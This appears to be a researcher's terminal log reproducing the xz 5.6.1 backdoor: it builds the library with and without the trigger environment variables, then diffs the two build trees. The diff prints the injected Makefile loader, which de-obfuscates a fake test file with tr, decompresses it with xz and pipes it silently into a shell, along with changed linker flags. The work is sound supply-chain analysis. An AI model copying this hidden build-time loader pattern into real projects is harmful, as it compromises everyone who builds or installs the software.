xz 5.6.1 builds with and without trigger envs

build-with-triggers.txt

oogali@lab-bullseye:~/playground/xz-backdoor$ tar zxvf ~/xz-5.6.1.tar.gz
...
oogali@lab-bullseye:~/playground/xz-backdoor$ cd xz-5.6.1
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ export CC=gcc
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ export RPM_ARCH=x86_64
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time ./configure
...

real	0m6.587s
user	0m5.081s
sys	0m1.890s
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$

oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time make -j4
...

real	0m7.686s
user	0m20.820s
sys	0m4.094s

oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ cd ..
oogali@lab-bullseye:~/playground/xz-backdoor$ mv xz-5.6.1 xz-5.6.1-with-backdoor
oogali@lab-bullseye:~/playground/xz-backdoor$

build-without-triggers.txt

oogali@lab-bullseye:~/playground/xz-backdoor$ tar zxvf ~/xz-5.6.1.tar.gz
oogali@lab-bullseye:~/playground/xz-backdoor$ cd xz-5.6.1
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ echo $CC

oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ echo $RPM_ARCH

oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time ./configure
...

real	0m6.675s
user	0m5.164s
sys	0m1.882s
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$

oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time make -j4
...

real	0m6.829s
user	0m19.909s
sys	0m4.078s

oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ cd ..
oogali@lab-bullseye:~/playground/xz-backdoor$ mv xz-5.6.1 xz-5.6.1-without-backdoor
oogali@lab-bullseye:~/playground/xz-backdoor$

diff.txt

oogali@lab-bullseye:~/playground/xz-backdoor$ diff -r -U1 xz-5.6.1-without-backdoor/ xz-5.6.1-with-backdoor/
diff -r -U1 xz-5.6.1-without-backdoor/config.log xz-5.6.1-with-backdoor/config.log
--- xz-5.6.1-without-backdoor/config.log	2024-03-31 02:19:52.523820265 -0400
+++ xz-5.6.1-with-backdoor/config.log	2024-03-31 02:22:25.401945188 -0400
@@ -118,3 +118,2 @@
 configure:5713: checking for gcc
-configure:5734: found /usr/bin/gcc
 configure:5746: result: gcc
@@ -3677,3 +3676,3 @@
 configure:22451: gcc -o conftest -g -O2   conftest.c  -lpthread >&5
-/usr/bin/ld: /tmp/cc8msmnZ.o: in function `main':
+/usr/bin/ld: /tmp/ccl49Ckk.o: in function `main':
 /home/oogali/playground/xz-backdoor/xz-5.6.1/conftest.c:141: undefined reference to `cap_rights_limit'
@@ -3829,3 +3828,3 @@
 configure:22470: gcc -o conftest -g -O2   conftest.c  -lpthread >&5
-/usr/bin/ld: /tmp/ccCPu4z2.o: in function `main':
+/usr/bin/ld: /tmp/ccl5oGso.o: in function `main':
 /home/oogali/playground/xz-backdoor/xz-5.6.1/conftest.c:141: undefined reference to `pledge'
@@ -6236,4 +6235,4 @@
 ac_cv_env_CCAS_value=
-ac_cv_env_CC_set=
-ac_cv_env_CC_value=
+ac_cv_env_CC_set=set
+ac_cv_env_CC_value=gcc
 ac_cv_env_CFLAGS_set=
diff -r -U1 xz-5.6.1-without-backdoor/config.status xz-5.6.1-with-backdoor/config.status
--- xz-5.6.1-without-backdoor/config.status	2024-03-31 02:19:51.647808112 -0400
+++ xz-5.6.1-with-backdoor/config.status	2024-03-31 02:22:24.513932825 -0400
@@ -426,3 +426,3 @@

-ac_cs_config=''
+ac_cs_config='CC=gcc'
 ac_cs_version="\
@@ -518,3 +518,3 @@
 if $ac_cs_recheck; then
-  set X /bin/bash './configure'  $ac_configure_extra_args --no-create --no-recursion
+  set X /bin/bash './configure'  'CC=gcc' $ac_configure_extra_args --no-create --no-recursion
   shift
diff -r -U1 xz-5.6.1-without-backdoor/libtool xz-5.6.1-with-backdoor/libtool
--- xz-5.6.1-without-backdoor/libtool	2024-03-31 02:19:52.415818768 -0400
+++ xz-5.6.1-with-backdoor/libtool	2024-03-31 02:22:25.345944408 -0400
@@ -334,3 +334,3 @@
 # Additional compiler flags for building library objects.
-pic_flag=" -fPIC -DPIC"
+pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"

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Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-x86.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-x86.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so.5 and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so.5 differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so.5.6.1 and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so.5.6.1 differ
diff -r -U1 xz-5.6.1-without-backdoor/src/liblzma/Makefile xz-5.6.1-with-backdoor/src/liblzma/Makefile
--- xz-5.6.1-without-backdoor/src/liblzma/Makefile	2024-03-31 02:19:51.827810609 -0400
+++ xz-5.6.1-with-backdoor/src/liblzma/Makefile	2024-03-31 02:22:25.349944464 -0400
@@ -264,2 +264,3 @@
 subdir = src/liblzma
+am__test = bad-3-corrupt_lzma2.xz
 ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
@@ -289,2 +290,3 @@
 CONFIG_CLEAN_VPATH_FILES =
+am__test_dir=$(top_srcdir)/tests/files/$(am__test)
 am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
@@ -295,2 +297,3 @@
 am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
+am__strip_prefix = tr "	 \-_" " 	_\-"
 am__install_max = 40
@@ -310,2 +313,3 @@
   sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
+am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)
 am__uninstall_files_from_dir = { \
@@ -318,2 +322,18 @@
 	"$(DESTDIR)$(pkgconfigdir)"
+LTDEPS='$(lib_LTDEPS)'; \
+    export top_srcdir='$(top_srcdir)'; \
+    export CC='$(CC)'; \
+    export DEFS='$(DEFS)'; \
+    export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \
+    export INCLUDES='$(INCLUDES)'; \
+    export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \
+    export CPPFLAGS='$(CPPFLAGS)'; \
+    export AM_CFLAGS='$(AM_CFLAGS)'; \
+    export CFLAGS='$(CFLAGS)'; \
+    export AM_V_CCLD='$(am__v_CCLD_$(V))'; \
+    export liblzma_la_LINK='$(liblzma_la_LINK)'; \
+    export libdir='$(libdir)'; \
+    export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \
+    export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \
+sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
 LTLIBRARIES = $(lib_LTLIBRARIES)
@@ -610,3 +630,3 @@
 	$(AM_LDFLAGS) $(LDFLAGS) -o $@
-AM_V_CCLD = $(am__v_CCLD_$(V))
+AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))
 am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY))
@@ -894,2 +914,3 @@
 pc_verbose_0 = @echo "  PC      " $@;
+liblzma_la_LDFLAGS += -Wl,--sort-section=name,-X,-z,now
 all: all-recursive
oogali@lab-bullseye:~/playground/xz-backdoor$